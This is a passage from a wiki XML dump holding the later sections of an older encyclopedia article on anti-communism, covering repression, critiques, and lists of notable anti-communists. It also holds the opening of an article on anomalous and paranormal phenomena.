The United States government has usually motivated its anti-communism by citing the human rights record of some communist states, most notably the Soviet Union during the Stalin era, [[Maoism|Maoist]] China, the short-lived [[Khmer Rouge]] government in [[Cambodia]] led by [[Pol Pot]] and [[North Korea]], because those states ended up killing of millions of their own people and continued to suppress civil liberties of the surviving population.

Anti-communism became significantly muted after the fall of the Soviet Union and [[Eastern bloc]] communist regimes in Central Europe in 1991, and the fear of a worldwide Communist takeover is no longer a serious concern. Remnants of anti-communism remain, however, in United States foreign policy toward [[Cuba]], mainland [[China]], and [[North Korea]]. In the case of Cuba, the United States continues to maintain economic sanctions against the island in a policy which is sharply criticized outside of the United States, but which has substantial support in the US, particularly from the conservative wing of American politics.

Due to American trade interests in China, much of the United States foreign policy establishment does not regard China as communist in any meaningful sense. Nevertheless, there is some hostility toward China, particularly among conservative Congressional Republicans which can be regarded as remnants of anti-communism.  For example, national security issues were raised during Chinese state-owned CNOOC Ltd.'s takeover bid for [[Unocal]], an American energy firm. North Korea remains staunchly [[Stalinism|Stalinist]] and economically [[Isolationism|isolationist]], and tensions between the country and the US have heightened as the result of reports that it is stockpiling [[nuclear weapon]]s and is generally willing to sell its nuclear and conventional weapons technology to any group that can pay their prices.

==Repression and Anti-Communism==
After the October Revolution, allied intervention troops tried to crush the revolution. In the summer of 1918, some 13,000 American soldiers, 44,000 British, 13,000 French, and 80,000 Japanese were fighting against the [[Red Army]]. In addition, these countries provided significant financial and material help to the [[White Movement]] (e.g., United States provided 500,000 [[United States dollar|US dollars]], 400,000 [[rifle]]s, etc.).

Communist political parties and organizations were actively opposed by conservative governments in [[Eastern Europe]] after the failed communist revolutions around 1920, in [[Nazi Germany]] and German-occupied Europe, in [[Japan]] during [[World War II]], in China by the [[Kuomintang]] in the 1920s and 1930s, in post-war [[Taiwan]] and [[South Korea]], in [[Latin America]] by various right-wing military regimes ([[Augusto Pinochet]] in [[Chile]], [[Dirty War]] in [[Argentina]], civil war in [[El Salvador]], etc), and in many other places and instances.

There was also some anti-communist [[political repression]] in the [[United States]], most notably in the [[Red Scare]] of the 1920s and the [[McCarthyism|McCarthyist]] era after [[World War II]].
Communists and communist sympathizers often emphasize the persecution of their political movement by &quot;reactionary&quot; forces, which they feel is being downplayed by capitalist governments. Anti-communists respond to this by pointing out that communist governments have often used similar methods to deal with their political enemies, including fellow communists (indeed, the repression of fellow communists is often brought up as an argument for the idea that such governments were not actually communistic). Regarding this issue, the opinions of communists are divided: some of them support the actions of those communist governments on the grounds that they were necessary in order to deal with dangerous terrorists and criminals, while other communists agree that such actions cannot be justified and put in question the self-proclaimed communist nature of the governments willing to carry them out.

Little is known about anti-communist massacres after World War II, not least because of the efforts by the anti-communist regimes to cover up such events. Such a massacre happened on the island of Jeju (South Korea) in April 1948. The estimates of the number of victims range from 30,000 to 140,000. Another example is the [[228 Incident]] in [[Taiwan]] in [[1947]], which until recently was considered a taboo subject even in private (although not many communists were involved).

During the Cold War many authoritarian regimes, often supported by the US, used the fear of communism as a means of legitimizing repression or as an excuse to persecute its opponents. [[Augusto Pinochet]]'s [[Chile]], for example, is often cited by critics as an example of this, although others argue that the threat of communism to Chile was very real. The worst case was probably that of General [[Suharto]] in [[Indonesia]] who, using the excuse of foiling a failed Communist coup d'etat attempt, seized executive power and killed about 500,000 people in his mass purges arresting more than 200,000 other people on merely being suspected of being involved with the coup. Most communists, alleged communists and so-called &quot;enemies of the state&quot; were sentenced to death (although some of the executions were delayed to 1990). The alleged or demonstrated complicity of the [[Central Intelligence Agency|CIA]] with these regimes seriously discredited anticommunism and the pretense of the US to represent a &quot;Free World&quot; in the eyes of critics. Others, however, have argued that extreme measures were needed to prevent the spread of communism during the height of its expansion.

==Criticisms of Anti-Communism==
Proponents of communism in capitalist countries tend to challenge the accuracy of anti-communist claims. A common rebuttal of anti-communism is that communist countries had created a new, non-proletarian ruling class and thus were not in fact communist. This is a view first put forward by [[left communism|left communists]] in the twenties and [[Trotskyists]] in the 1930s, and today it is accepted by the majority of western communists. Indeed, most modern communists do acknowledge failings on the part of communist governments, saying that [[Marxism]] is clearly against these dictators' practices.

Anti-communists respond to these claims by saying that they believe communist states are totalitarian by nature, and that in Marxist theory too much power is given to the state. They point out that several communist governments have existed, but none have been considered democracies. Anti-communists also question if a classless communist society can truly be achieved.

Some anti-communists, particularly those with [[Libertarian]] leanings, extend their criticisms well beyond Soviet-style communism, associating it with any state-run activity beyond the most minimal.  People who support a [[mixed economy]] where some services are supplied by government-run institutions, such as what takes place in [[Social democracy|social-democrat]] countries, resent the association with communism.

Some writers and historians object to anti-communists' comparisons of communism to fascism (under the blanket term &quot;[[totalitarianism]]&quot;, which they believe to be incorrect). They cite historical evidence, such as the fact that the [[Soviet Union]] fought against [[Adolf Hitler]] during [[World War II]] and said that fascism was the enemy of communism (a view that was shared by Hitler himself, who was one of the most virulent anti-communists of the time), while many anti-communists in occupied Europe took the side of [[Nazi Germany]]. Others, however, placed anti-fascism or national independence above their dislike of communism.

Yet another objection to anti-communism which became more widely advanced in the [[1970s]] was that in pursuit of anti-communism, the [[United States]] was conducting a [[foreign policy]] in which it supported people and governments that sometimes egregiously violated [[human rights]], which it saw as lesser evils than communism.  In order to justify these actions, U.S. Ambassador to the [[United Nations]] [[Jeane Kirkpatrick]] stated the [[Kirkpatrick doctrine]] which argued there was a difference between [[totalitarian]] regimes and [[authoritarian]] regimes.

Many staunchly anti-communist regimes have been dictatorial and guilty of egregious human rights abuses, oppression, and sometimes [[genocide]]. These may include Nazis, secular Middle Eastern dictatorships in [[Syria]], [[Iraq]], [[Egypt]], and the [[Sudan]], right-wing military juntas in [[Latin America]], the [[apartheid]] regime in [[South Africa]], anticommunists regimes in the Far East as [[Suharto]]'s [[Indonesia]]. Citing governments like these as evidence, communists claim that much Cold War policy was driven by simple anti-communism and a disregard for problems in nations ruled by anti-communist but undemocratic governments.

Various Western countries, the United States first and foremost, are also often accused of denial of political or labour rights, racism, oppression and violence, support for governments which presided over mass killings, torture and detention of political opponents, or engagement with regimes (usually on the basis of their shared anti-communism) which practised genocide or racial segregation. In [[Italy]], the use of the [[Strategy of tension]] in the 1970's has been widely criticized.

Nevertheless, anti-communists generally believe such claims to be of an &quot;[[Slogan:And you are lynching negroes|and you are lynching negroes]]&quot; variety. They argue that while capitalist governments may have some faults, Communist ones are worse. Many also state that they disapprove of some actions undertaken by anti-Communist leaders, the defeat of communism and Soviet influence during the Cold War was a top priority. Some also believe that it is easier for countries previously ruled by an authoritarian, anti-Communist government to transition into a democracy, while it is more difficult for a totalitarian Communist nation to do so.

The communists take the other side in claiming which government is more flawed, stating that while communist governments may have had some faults, capitalist ones are worse. They also claim that in some former Communist countries, conditions were better before its collapse. An example used in this argument is Russia, which has faced a bumpy transition to capitalism and has a 25% poverty rate.

Ironically, many anti-communists were too focused on the perceived challenges of communism to notice its internal problems, and few anti-communists were able to predict the fall of the Soviet Union even as late as the mid-1980s.

==Notable Anti-Communists==
This section lists a number of significant intellectual, political, and military opponents of communism. Note that there is a certain overlap between the listed categories. For example, many prominent political [[dissidents]] in the former communist countries, like [[Vaclav Havel]], are also renowned for challenging the theory and practice of communist regimes in their writings.

The persons listed are not classified by their own ideological positions from which they opposed communism, and clashes between their views were often no less severe than their opposition to communism. For example, [[neo-liberal]] thinkers like [[Friedrich Hayek]] harshly criticized [[socialism|socialists]] like [[George Orwell]], and vice versa, despite their common opposition to communism. Most anti-communists in the [[1930s]] and [[1940s]] were also staunch opponents of fascism; however, during the [[Cold War]], anti-communism did lead some people who had previously criticised fascism to support other anti-communist dictators.

==Contemporary anticommunism==
===Objections to Communist theory===
The central part of [[Karl Marx]]'s communist theory is [[historical materialism]], a methodology for studying history using dialectical reasoning which concludes that human society has grown or evolved through several historical stages due to the contradictions inherent in each stage, with each transition to the next stage involving the overthrow of the existing socioeconomic order. This idea was first theorized by [[Georg Wilhelm Friedrich Hegel]], but Marx used it to justify his beliefs. Using this method, Marxists conclude that capitalism will be followed by socialism, just as [[feudalism]] was followed by capitalism.  Marxists then suppose that socialism would be followed by communism, which Marx claimed would not be able to be improved upon as it has no contradictions of its own.

Most anti-communists reject the entire concept of historical materialism, or at least do not believe that socialism and communism must follow after capitalism. Some anti-communists question how and why the state is supposed to wither away into a true communist society.

Many critics also see a key error in communist economic theory, which predicts that in capitalist societies, the bourgeoisie will accumulate ever-increasing capital and wealth, while the lower classes become more dependent on the ruling class for survival, selling their [[labor power]] for the most minimal of salaries. Anti-communists, claiming that this argument is equivalent to the statement that &quot;the rich will get richer and the poor will get poorer&quot;, point to the overall rise in the average standard of living in the industrialized West as proof that contrary to Marx's prediction as, they assert, both the rich and poor have steadily gotten richer. Communists reply that even during periods of great prosperity, the rich get rich much faster than the poor, and posit that such periods of prosperity are historical abberations and will be wiped out by future crises of production. 

Another reply to this criticism is that the nations who most endorse capitalism today, such as the [[United States]], the [[United Kingdom]] and [[Germany]], had a long history of bountiful natural resources, strategic geography, military victory, and technology long before many capitalist intricacies, giving them these benefits today. Similarly, they claim nations such as [[Russia]], [[Vietnam]], and [[Cuba]] had long histories of military defeats, brutal environments, strict dictatorships, and undereveloped economies throughout their histories, making living conditions harsher even after socialist revolutions. 

Communists also argue that the industrialized West profits immensely from the [[exploitation]] of the [[Third World]] through [[globalization]], that the gap between rich and poor capitalist countries (sometimes called the ''North-South Gap'') has widened greatly over the past hundred years, and that poor capitalist countries vastly outnumber the rich ones. The standard anti-communist reply to the latter argument is pointing out the examples of former Third World countries that have successfully escaped out of poverty in the recent decades under the capitalist system, most notably the [[Asian Tigers]]. Anti-communists also cite numerous examples of Third World Communist regimes that failed to achieve development and economic growth and in many cases led their peoples into an even worse misery, for example the [[Mengistu]] regime in [[Ethiopia]] or the [[North Korean]] [[totalitarian]] government. Supporters of Mengistu or Kim typically attribute the shortcomings in their societies to &quot;imperialist&quot; Western meddling. Other communists, such as the [[Trotskyism|Trotskyists]], while agreeing that imperialism harmed these countries, also say that Ethiopia and North Korea were never communist--they were [[Stalinist]], meaning that they were ruled by a clique of bureaucrats who claimed to be acting in the popular interest but actually betrayed it, being more oppressive to its working class.

Many refer to both communism and [[fascism]] as totalitarianism, seeing similarity between the actions of communist and fascist governments. It should also be noted that many modern left-attributed communists, particularly [[anarcho-communism|anarcho-communists]], use these similarities, and actual sayings from Marx himself, to argue that those self-proclaimed communist regimes were not actually following any sort of communism at all. One such quote by Marx to support this simply says, &quot;''Democracy is the road to socialism''&quot;.

Anti-communists also object to the actual practices of communist governments in contrast to the stated promises of communism, questioning whether or not they are truly able to be called &quot;communist&quot;. For example, the view of &quot;human nature&quot; usually expounded by anti-communist [[Objectivists]] is that while an egalitarian society could be looked at as ideal, it is virtually impossible to achieve. They state that it is human nature to be motivated by personal incentive, and point out that while several communist leaders have claimed to be working for the common good, many or all of them have been corrupt and totalitarian. Communists retaliate that &quot;human nature&quot; essentially doesn't exist, since human beings are extremely adaptable with inbred logic and have shown themselves to be able to live in a wide variety of social organizations, some similar to communism, throughout history.

===Anticommunist histories===
One of the most influential anti-communist historians was [[Robert Conquest]] who argued in his works that Communism was responsible for tens of millions of deaths during the 20th century. 

Communist parties (sometimes combined with left socialist parties as workers' parties) which have come to power have likewise tended to be rigidly intolerant of political opposition. Most communist countries have shown no signs of advancing from Marx's &quot;socialist&quot; stage of economy to an ideal &quot;communist&quot; stage. Rather, communist governments have been accused of creating a new ruling class (called by Russians the ''[[Nomenklatura]]''), with powers and privileges far greater than those previously enjoyed by the upper classes in the pre-revolutionary regimes.

It should be noted, however, that many communists do not support or justify such repressive actions. In particular, [[Trotskyists]] have been virulent critics of the policies carried out by Stalin's Soviet Union and other nations who followed the same model. They refer to these nations as [[Stalinism|Stalinist]] rather than communist, and sometimes call them [[deformed workers state]]s. The anti-communists reply that the repression in the early years of the [[Bolshevik]] regime, while not as extreme as that during Stalin's reign, was still severe by any reasonable standards, citing the examples such as [[Felix Dzerzhinsky]]'s secret police, which eliminated numerous political opponents by extrajudicial executions, and the brutal crushing of the [[Kronstadt rebellion]] and [[Tambov rebellion]]. According to them, [[Trotsky]] could hardly claim any moral high ground, having been one of the top-ranking Bolshevik leaders during these events. Trotsky was later to claim (unconvincingly) that the Kronstadt rebels were early harbingers of the bureaucratisation which he associated with Stalinism.

Anti-communists will likewise argue that the contemporary communist/Marxist claim that any communist regime that perpetuated human rights abuses was not a &quot;true&quot; communist state is merely a convenient excuse that can be evoked to avoid taking responsibility (and thus a version of the [[No true Scotsman]] logical fallacy).

===Economic performance of communist governments===
Communist supporters may point to the fact that those countries were far behind the West to begin with, and they may argue that communist governments have in fact reduced this pre-existing gap. Also, they often point to [[Cuba]], whose economic performance was arguably better than that of the neighboring countries. During the 1990's, however, Cuba suffered a debilitating economic crisis following the loss of her major trading partners (most notably the Soviet Union), and was forced to allow foreign investments in the tourism market as a means of recovery. Critics of the Cuban government under [[Fidel Castro]] argue that the Cuban Cold War trading arrangements with the USSR amounted to little more than a direct Soviet subsidy to the regime, and that prior to the ascension of Castro, Cuba was actually among the &quot;richest&quot; Latin American countries.

In other cases, such as the separated nations, [[West Germany]] and [[East Germany]] and [[North Korea]] and [[South Korea]], the capitalist portion has advanced far ahead of its communist counterpart. In the case of East Germany, communists claim that they received the &quot;raw end of the deal,&quot; since all the traditional industrial and commercial centers lay in the capitalist part of the country. In addition, in this case, the [[Soviet Union]] removed plant and other resources, claiming them as [[reparations]]. Similar conditions distinguished North and South Korea, with the former suffering under an American-led bombing campaign between 1950 and 1952 that reduced every industrial center above the 38th parallel to uniform rubble, while the latter was spared devestation to the same extent. Also, the anti-communists cite the example of [[Czechoslovakia]], which was among world's most developed industrial countries prior to [[World War II]], but fell far behind the Western nations under the Communist rule.

The hallmark of some Communist economic policies, [[collective farming]], has sometimes been called economically inefficient and often disastrous, especially in the cases of the former Soviet Union, China, and North Korea.

In general, anti-communist economic criticism centers on the belief that communists ignore the realities of economic life and production in favor of their ideas about how things ought to be done. Anti-communists believe that this leads to economic disruption and poverty and generally see the examples of former Communist nations as supporting the veracity of their views.

===Anarchist anti-Communism===
The anarchist critique of communism comes from a different angle. Anarchists agree with communists that capitalism is a tool for oppression, that it is unjust and that it should be destroyed, one way or another. Anarchists, however, go on to say that ''all'' centralized or coercive power (as opposed to just wealth) is ultimately injurious to the individual. Therefore, the concepts of [[dictatorship of the proletariat]], state ownership of the means of production, and other similar tendencies within Marxist thought are anathema to an anarchist, regardless of whether the state in question is democratic. There are, also, strong anti-anarchist tendencies among Marxists, who have been denounced variously as unscientific, romantic, or bourgeois.

The debates between [[Mikhail Bakunin]] and Karl Marx are well-known. While Bakunin's own philosophy owed much to Marx's critique of capitalism, their views diverged sharply over questions of how a post-capitalistic society should be organized. Bakunin saw the Marxist State as simply another form of oppression: &quot;The question arises, if the proletariat is ruling, over whom will it rule? This means there will remain another proletariat which will be subordinated to this new domination, this new state.&quot; He loathed the idea of a vanguard party ruling the masses from above, quipping that &quot;when the people are being beaten with a stick, they are not much happier if it is called 'the People's Stick.'&quot;

[[Image:RCP-burn.jpg|right|thumb|An anarchist-made image depicting a flaming flag representing the [[Revolutionary Communist Party, USA]].]]

Anarchists initially rejoiced over the 1917 revolution as an example of workers taking power for themselves, and indeed played a part in the revolution. It quickly became evident, however, that the communists and the anarchists had very different ideas regarding the kind of society they wanted to build there. Anarchist [[Emma Goldman]] went to Russia enthusiastic about the revolution, but left sorely disappointed, and began to write her book ''[[My Disillusionment in Russia]]''. Anarchist [[Victor Serge]], in response to the pro-Leninist sentiment in the global Left, said, &quot;All right, I can see the broken eggs. Now where's this omelette of yours?&quot;

Anarchists often cite the crushing of the [[Kronstadt Rebellion]], in which the Red Army defeated an embryonic anarchist commune, as a specific example of the tyranny they perceived in the Bolshevik government. The [[typhus]] epidemic, and subsequent crushing of [[Nestor Makhno]]'s weakened black army in the [[Ukraine]] was also a specifically controversial action of the early Bolsheviks.

During the [[Spanish Civil War]], a pro-Soviet Communist Party gained considerable influence due to the necessity of aid from the Soviet Union. Communists and liberals on the Republican side fought mainly against the [[Falange]] fascists, but also put some effort against the [[anarchist]] [[Spanish Revolution]], ostensibly to bolster the anti-Fascist front (the anarchist response was, &quot;The revolution and the war are inseperable&quot;). The most dramatic action against the anarchists was in May of 1937, when Communist-led police forces attempted to take over a [[Confederación Nacional del Trabajo|CNT]]-run telephone building in [[Barcelona]]. The telephone workers fought back, setting up barricades and surrounding the Communist &quot;[[Lenin Barracks]].&quot; Five days of street fighting in the [[Barcelona May Days]] ensued. The enmity between anarchists at communists reached a new high, and remained there.

Bitter feelings between anarchists and communists are apparent even today in revolutionary circles. Much conflict and arguing occurs as it did in the 19th century between Marx and Bakunin. However, in recent times, anarchists and communists often join in protest (at least for pragmatic purposes) on certain issues, such as the recent [[2003 invasion of Iraq]].

==Notable Anti-Communists==
*Fascists [[Benito Mussolini]], [[Augusto Pinochet]], [[Adolf Hitler]], [[Francisco Franco]]
*Politicians [[Winston Churchill]], [[Ronald Reagan]], [[Joseph McCarthy]], [[Margaret Thatcher]]
*Economists [[Eugen von Böhm-Bawerk]], [[Milton Friedman]], [[Friedrich Hayek]], [[Ludwig von Mises]]
*Historians [[Robert Conquest]], [[Paul Johnson (journalist)|Paul Johnson]], [[Richard Pipes]], [[Nikolai Tolstoy]]
*Writers [[Taylor Caldwell]], [[David Caute]], [[Arthur Koestler]], [[Aleksandr Solzhenitsyn]], [[Peregrine Worsthorne]]
*Religious Leaders [[Rev. Sun Myung Moon]], [[Pope John Paul II]] (opposed the [[communist states]])

== Anti-Communists who are also [[Anti-fascism|Anti-Fascists]] ==
*[[Hannah Arendt]]
*[[Albert Camus]]
*[[Winston Churchill]]
*[[Daniel Cohn-Bendit]]
*[[Pope John Paul II]] (opposed the [[communist states]])
*[[Joseph McCarthy]]
*[[George Orwell]]
*[[Ayn Rand]]
*[[Aleksandr Solzhenitsyn]]
*[[Lech Wałęsa]]
*[[Milovan Đilas]]

==Notable Anti-Communist Dissidents==
''See also .''
*[[Václav Havel]] ([[Czechoslovakia]]) - later became the last President of [[Czechoslovakia]] (1990-1993) and the first President of [[Czech Republic]] (1993-2003)
*[[Lech Wa&amp;#322;&amp;#281;sa]] ([[Poland]]) - later became the president of Poland 1990-1995
*[[Zviad K. Gamsakhurdia]] ([[USSR]]) - [[Georgia (country)|Georgian]] dissident during the Soviet regime, later became the president of Georgia
*[[Aleksandr Solzhenitsyn]] ([[USSR]]) - famous [[Russia]]n novelist
*[[Milovan &amp;#272;ilas]] ([[SFRY|Yugoslavia]])
*[[Harry Wu]] ([[China]])
*[[Wang Youcai]] ([[China]])

==Anti-Communist Statesmen and Military Leaders==
*[[Fulgencio Batista]] - leader of [[Cuba]], overthrown in the [[Cuban Revolution]]
*[[Pieter Willem Botha]] prime minister (later state [[president]]) of [[apartheid]] [[South Africa]] 1978-1989
*[[Zbigniew Brzezinski]] - [[United States National Security Advisor]] to President [[Jimmy Carter]], 1977-1980
*[[Winston Churchill]] - [[British Prime Minister]], 1940-45, 1951-55, leader of counterrevolutionary forces in [[Russian Civil War]].
*[[Martin Dies, Jr.]] - [[United States]] congressman 1930-1944, 1952-1958
*[[Ngo Dinh Diem]] - President of [[South Vietnam]] 1955-1963, assassinated
*[[Samuel Kanyon Doe]] - President of [[Liberia]] 1980-1990, assassinated
*[[King Faisal]] - King of [[Saudi Arabia]]
*[[Francisco Franco]] - leader of [[Spain]] 1939-1975, following the [[Spanish Civil War]]
*[[Licio Gelli]], head of [[P2]]
*[[Barry Goldwater]] - [[United States]] Senator 1953-1964, 1968-1987
*[[Jesse Helms]] - [[United States]] Senator
*[[Adolf Hitler]] - [[Chancellor]] of Germany 1933-1945
*[[Miklós Horthy]] - [[Regent]] of [[Hungary]] 1920-1944
*[[Chiang Kai-Shek]] - leader of the [[Republic of China]] 1928-1975, which was later relocated to [[Taiwan]]
*[[John F. Kennedy]] - President of the [[United States]] 1961-1963
*[[Jomo Kenyatta]] - President of [[Kenya]] 1964-1978
*[[Nguyen Khanh]] - premier (1964) of [[South Vietnam]] and current Chief of State of the [[Government of Free Vietnam]] 2005-
*[[Jeane Kirkpatrick]] - [[United States]] diplomat, ambassador to the [[United Nations]] under [[Ronald Reagan|President Reagan]]
*[[Henry Kissinger]] - [[Secretary of State]] for the [[Richard Nixon|Nixon]] and [[Gerald Ford|Ford]] administrations
*[[Daniel Malan]] - prime minister of [[apartheid]] [[South Africa]] 1948-1954
*[[Douglas MacArthur]] - [[United States]] general, led the American forces in the [[Korean War]]
*[[Carl Gustaf Emil Mannerheim]] - White military leader, later [[President of Finland]] 1867-1951
*[[Ferdinand Marcos]] - Preident of the [[Philippines]] 1965-1986, established diplomatic relations with the [[People's Republic of China]]
*[[Mobutu Sese Seko]] - President of [[Zaire]] 1965-1997 (although the country he ruled did not become [[Zaire]] until [[1971]])
*[[Joseph McCarthy]] - [[United States]] [[Senator]] 1947-1957
*[[Benito Mussolini]] - [[Fascism|Fascist]] leader of [[Italy]] 1922-1944
*[[Richard Nixon]] - President of the [[United States]] 1969-1974, established diplomatic relations with [[People's Republic of China|Communist China]]
*[[Lon Nol]] - Premier (later president) and dictator of [[Cambodia]], overthrown by the [[Khmer Rouge]]
*[[Boun Oum]] - Prince of [[Laos]]
*[[Mohammad Reza Pahlavi]] - [[Shah]] of [[Iran]] 1953-1979, overthrown in the [[Iranian revolution]]
*[[George Papadopoulos]] - [[Greece|Greek]] leader from 1967 to 1974
*[[Augusto Pinochet]] - leader of [[Chile]] 1973-1990, overthrew the socialist government of [[Salvador Allende]].
*[[Ronald Reagan]] - President of the [[United States]] 1981-1989
*[[Syngman Rhee]] - president of [[South Korea]] 1948-1960
*[[António de Oliveira Salazar]] - Dictator of [[Portugal]] 1932-1968
*[[Jonas Savimbi]] - rebel against the Marxist government of [[Angola]]
*[[Ian Smith]] - Prime Minister of [[Rhodesia]], now [[Zimbabwe]]
*[[Paul Schäfer]] - former leader of the anti-communist [[Colonia Dignidad]] community in [[Chile]]
*[[Anastasio Somoza García]] - president of Nicaragua
*[[Anastasio Somoza Debayle]] - president of [[Nicaragua]] 1967-1972, 1974-1979, overthrown by the [[Sandinista National Liberation Front|Sandinistas]]
*[[Luis Somoza Debayle]] - president of Nicaragua
*[[Johannes Gerhardus Strijdom]] - Prime Minister of [[apartheid]] [[South Africa]] 1954-1958
*[[Alfredo Stroessner]] - leader of [[Paraguay]] 1954-1989
*[[Suharto]] - President of Indonesia
*[[Svinhufvud]] - [[President of Finland]] 1931-1937
*[[Robert Taft]] - [[United States]] Senator
*[[Eugène Terre'Blanche]] - founder and leader of the [[Neo-Nazism|Neo-Nazi]] [[Afrikanerweerstandsbeweging]]
*[[Margaret Thatcher]] - Prime Minister of the [[United Kingdom]] 1979-1990
*[[Nguyen Cao Ky]] - Premier (later Vice-President) of [[South Vietnam]]
*[[Nguyen Van Thieu]] - Last President of [[South Vietnam]] 1967-1975
*[[Moise Tshombe]] - President of [[Katanga]]
*[[Rafael Trujillo]] - leader of [[Dominican Republic]]
*[[Harry S. Truman]] - President of the United States, 1945-1953
*[[Arthur H. Vandenberg]] - [[United States Senator]]
*[[Hendrik Frensch Verwoerd]] - Prime minister of [[apartheid]] [[South Africa]] 1958-1966, architect of [[apartheid|grand apartheid]]
*[[Jorge Rafael Videla]] - [[Argentina|Argentine]] political and military leader
*[[Balthazar Johannes Vorster]] - Prime minister of [[apartheid]] [[South Africa]] 1966-1978

==Leaders of the Russian anti-Bolshevik [[White Movement]]==
:''See also: [[:Category:Russian counter-revolution people]]''
*[[Anton Ivanovich Denikin]]
*[[Pyotr Nikolayevich Wrangel]]
*[[Aleksandr Vasilevich Kolchak]]
*[[Nikolai Nikolaevich Yudenich]]
*[[Pyotr Nikolayevich Krasnov]]

===Anti-Communist Terrorists===
* [[Luis Posada Carriles]] - alleged [[Terrorism|terrorist]] who blew up a Cuban passenger jet in [[1976]], killing the 73 passengers aboard, and admitted to plotting attacks that damaged tourist spots. [http://www.csmonitor.com/2005/0512/dailyUpdate.html]
* [[Orlando Bosch]]
* [[Stefano Delle Chiaie]]
* [[Kenkokukai]], [[Japan]]ese nationalists who bombed the [[USSR|Soviet]] embassy in [[1928]]
* [[Eugène Terre'Blanche]]
* [[Michael Townley]]
* [[Osama Bin Laden]] fought aside and supported the [[Mujahideen]], against the invasion of the [[Soviet]] [[communists]] or &quot;[[atheists]]&quot; in [[Afghanistan]].

==See also==
*[[American Committee for the Liberation of the Peoples of Russia]]
*[[Anti-fascism]]
*[[Cold War]]
*[[Committee for the Liberation of the Peoples of Russia]]
*[[Criticisms of communism]]
*[[Evil empire]]
*[[House Unamerican Activities Committee]]
*[[Joseph McCarthy]] and [[McCarthyism]]
*[[National Committee for a Free Europe]]
*[[Nationalist Movement]]
*[[Operation Gladio]]
*[[Radio Free Europe]]
*[[Reagan Doctrine]]
*[[Stay-behind]]
*[[Strategy of tension]]
*[[Truman Doctrine]]
*[[War on terror]]
*[[World Anti-Communist League]]

==External links==
*[http://www.iww.org/en/culture/articles/zinn14.shtml Workers of the World:The IWW Shattered]
*[http://anti-communist.org Anti-Communist.org]

[[Category:Anti-communism|Anti-communism]]
[[Category:Cold War]]
[[Category:Communism]]
[[Category:Political movements]]
[[Category:Soviet dissidents]]

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[[vi:Chủ nghĩa chống cộng sản]]
[[zh:反共主义]]</text>
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  <page>
    <title>Anomalous phenomenon</title>
    <id>3180</id>
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      <timestamp>2006-03-01T04:51:14Z</timestamp>
      <contributor>
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      </contributor>
      <comment>/* See also */+ Vile Vortices</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

An '''anomalous phenomenon''' is an observed [[phenomenon]] for which there is no suitable scientific explanation. Because they don't fit in the established framework, they are the subject of much controversy. While some phenomena aren't widely accepted as real phenomena by mainstream scientists, calling their study pseudoscience, other phenomena are acknowledged as being a reality, but then its interpretation is what causes controversy. For example, many believe that the phenomenon of UFOs is real, but their speculations differ as to exactly what such objects actually are.

==Examples of Anomalous phenomena==

Some examples of anomalous phenomena are:

*[[out-of-body experience]]s
*[[near-death experience]]s
*[[extrasensory perception]]
*[[ghost]]s 
*[[unidentified flying object|UFO]]s 
*[[Abduction Phenomenon|alien abduction]] experiences 
*[[twin connection]]s

As the framework of scientific knowledge expands, some anomalies get explained logically, losing their status as unexplained phenomena. For instance, while the idea of stones falling from the sky was long ridiculed, [[meteorite]]s are now acknowledged and well understood.

Though actually a subcategory of anomalous phenomena, '''paranormal phenomena''' are studied in the field of [[parapsychology]], and can be divided into three main classes:

* Mental phenomena: unusual mental states or abilities, such as [[telepathy]], [[clairvoyance]] and [[precognition]]

* Physical phenomena: unusual physical occurrences that may be controlled by a conscious entity, as in the cases of [[psychokinesis]], [[poltergeist]]s, [[stigmata]] or [[materialization (parapsychology)|materialization]]s
* [[Out-of-body experience]]s (OBEs) and [[near-death experience]]s (NDEs)

==Written works==

* [[Classical antiquity|Classical]] [[civilization]] included unique signs and prodigies of [[nature]] in works of [[paradoxography]] such as ''The Phaenomena'' (240 BC) by [[Aratus]] of Soli.
* [[Inoue Enryo]], a [[Japan]]ese [[education|educator]] and [[philosophy|philosopher]], authored the six-volume ''[[The Study of Yokai|The Study of Y&amp;#333;kai]]'' (&amp;#22934;&amp;#24618;&amp;#23398;). As a result, he was best known as [[ghost|Dr. Ghost]] (&amp;#12362;&amp;#21270;&amp;#12369;&amp;#21338;&amp;#22763;) or [[yokai|Dr. Y&amp;#333;kai]] (&amp;#22934;&amp;#24618;&amp;#21338;&amp;#22763;).
* [[Charles Fort]], in his four works on anomalies, lambasted and ridiculed the scientists of his day for their shortsightedness. Some of the anomalies listed in his work have been explained and incorporated into modern science (e.g. [[meteor]]s), while others continue to be unexplained.
* [[William R. Corliss]]' ''Science Frontiers'' has covered reports in the [[scientific literature]] regarding anomalies for years. He, through his Sourcebook Project, has published a large body of reports collected in many of the scientific disciplines.
* [[Leonard George]], a [[psychologist]] who specializes in anomalous phenomena, compiled an authoritative encyclopedia of unusual experiences, activities, and beliefs in his [[1995]] book ''[[Leonard George|Alternative Realities]]''. 
* ''[[Fortean Times]]'', a British monthly magazine, continues in the spirit of Fort's work by publishing reports of anomalous phenomena and longer investigative articles.
* The ''[[The Anomalist|Anomalist]]'', edited by Patrick Huyghe and Dennis Stacy, is another magazine/journal devoted to the study of anomalies (which may be called anomalistics).
* ''[[Strange Magazine]]'' is another magazine devoted to the study of anomalies in the spirit of Fort's work.
* ''[[Fate Magazine]],'' with the slogan &quot;True Reports of the Strange and Unknown&quot; has been published continuously since 1948, and is the longest-running publication of its kind.

==Further reading==
* ''Handbook of Unusual Natural Phenomena: Eyewitness Accounts of Nature's Greatest Mysteries'', William R. Corliss, Anchor Press, Doubleday, 1983, trade paperback, 423 pages, ISBN 0-385-14754-6
* ''Remote Viewing Secrets'', Joseph McMoneagle, Hampton Roads, 2000, paperback, 296 pages, ISBN 1-57174-159-3
* ''The Conscious Universe'', Dean Radin PhD, Harper, 1997, hardback, 362 pages, ISBN 0-06-251502-0
* ''Channeling: Investigations on Receiving Information from Paranormal Sources.'' John Klimo, St. Martins Press, 1987. ISBN 0874774314
* ''Mr. Wilson's Cabinet Of Wonder: Pronged Ants, Horned Humans, Mice on Toast, and Other Marvels of Jurassic Technology'', Lawrence Weschler, 1996, trade paperback, 192 pages, ISBN 0679764895 (see web site link above)

==See also==
* [[Abduction Phenomenon|Alien Abduction]]
* [[Abominable Snowman]]
* [[Agartha]]
* [[Ball Lightning]]
* [[Bermuda Triangle]]
* [[Bigfoot]]
* [[Conspiracy theory]]
* [[:Category:Cryptids|Cryptids (category)]]
* [[Cryptozoology]]
* [[Delusion]]
* [[Hessdalen light]]
* [[Hollow Earth]]
* [[Invisible Master]]
